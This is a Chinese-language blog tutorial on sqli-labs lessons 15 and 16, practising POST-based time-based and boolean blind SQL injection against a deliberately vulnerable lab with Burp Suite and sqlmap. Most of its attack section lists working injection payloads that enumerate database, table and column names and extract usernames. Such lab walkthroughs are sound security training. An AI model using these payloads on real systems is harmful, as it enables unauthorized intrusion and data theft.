sqli-labs靶场实现(五)【POST基于时间与布尔盲注】(less-15(单引号)、less-16(双引号),具体步骤+图文详解)

一)POST基于时间与布尔盲注
  1)HTTP POST介绍
  2)POST基于时间的盲注(less15)
  3)POST基于布尔的盲注(less16)
  4)sqlmap安全测试

——————————————————————————————————————————————————————


一)POST基于时间与布尔盲注

1)HTTP POST介绍

前面已经有讲解过GET型的基于时间与布尔盲注,也已经讲解过POST型的错误注入(怎么用burpsuite进行抓包注入),本节就是将前面的两者结合起来变成POST基于时间与布尔盲注。

盲注大致流程:

1.判断是否存在注入,注入是字符型还是数字型(方法同显注的union相同)
2.判断字段数(order by)
3.猜解数据库个数
4.猜解指定数据库名称长度
5.猜解指定数据库名称
6.猜解指定数据库中表的个数
7.猜解指定数据库中表名长度
8.猜解指定数据库中表名
9.猜解指定数据库中指定表的字段数
10.猜解指定数据库中指定表的字段长度
11.猜解指定数据库中指定表的字段名
12.猜解指定数据库中指定表的字段内容个数
13.猜解指定数据库中指定表的字段内容长度
14.猜解指定数据库中指定表的字段内容


2)POST基于时间的盲注(less15):

登录Less15:
在这里插入图片描述
抓包:
在这里插入图片描述
发送到repeater:
在这里插入图片描述
a)用 ' and sleep(5)--+and sleep(5) 判断是否存在基于时间的SQL盲注,是字符型还是数字型。
在这里插入图片描述
在这里插入图片描述
b)猜解数据库个数

' and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+

在这里插入图片描述

c)猜解指定数据库名称长度

' and if(length((select schema_name from information_schema.schemata limit 0,1))>1,sleep(5),1) --+

在这里插入图片描述
d)猜解指定数据库名称

' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))>1),sleep(5),1) --+

在这里插入图片描述

e)猜解指定数据库中表的个数

' and if((select count(table_name) from information_schema.tables where table_schema='security')>1,sleep(5),1) --+

在这里插入图片描述

f)猜解指定数据库中表名长度

' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1,sleep(5),1) --+

在这里插入图片描述

g)猜解指定数据库中表名

' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1,sleep(5),1) --+

h)猜解指定数据库中指定表的字段数

' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1,sleep(5),1) --+

i)猜解指定数据库中指定表的字段长度

' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=1,sleep(5),1) --+

j)猜解指定数据库中指定表的字段名

' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=1,sleep(5),1) --+

k)猜解指定数据库中指定表的字段内容个数

' and if((select count(username) from users)=1,sleep(5),1 ) --+

l) 猜解指定数据库中指定表的字段内容长度

' and if(length((select username from users limit 0,1))=1,sleep(5),1) --+

m)猜解指定数据库中指定表的字段内容

' and if(ascii(substr((select username from users limit 0,1),1))=1,sleep(5),1) --+


3)POST基于布尔的盲注:

a)用 ' and 1=1--+and 1=2--+'and 1=1' and 1=2判断是否存在基于时间的SQL盲注,是字符型还是数字型。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
结论:字符型的布尔盲注。

b)猜解数据库个数

' and (select count(schema_name) from information_schema.schemata)>1--+

在这里插入图片描述

c)猜解指定数据库名称长度

' and length((select schema_name from information_schema.schemata limit 0,1))>1--+

在这里插入图片描述
d)猜解指定数据库名称

' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))>1--+

在这里插入图片描述
e)猜解指定数据库中表的个数

' and (select count(table_name) from information_schema.tables where table_schema='security')>1--+

在这里插入图片描述
f)猜解指定数据库中表名长度

' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+

在这里插入图片描述
g)猜解指定数据库中表名

' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1--+

h)猜解指定数据库中指定表的字段数

' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')>1--+

i)猜解指定数据库中指定表的字段长度

' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>1--+

j)猜解指定数据库中指定表的字段名

' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))>1--+

k)猜解指定数据库中指定表的字段内容个数

' and (select count(username) from users)>1--+

l) 猜解指定数据库中指定表的字段内容长度

' and length((select username from users limit 0,1))>1--+

m)猜解指定数据库中指定表的字段内容

' and ascii(substr((select username from users limit 0,1),1))>1--+


4)sqlmap安全测试:

在sqlmap目录中创建一个target.txt文件用于存放burpsuite抓获的less15的包:
在这里插入图片描述
时间盲注:
在这里插入图片描述

此时会报错:
在这里插入图片描述
可以使用更深层次的探测:
在这里插入图片描述
结果:
在这里插入图片描述
布尔盲注:
在这里插入图片描述
此时会报错:
在这里插入图片描述
可以使用更深层次的探测:
在这里插入图片描述
或者直接:
在这里插入图片描述




  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值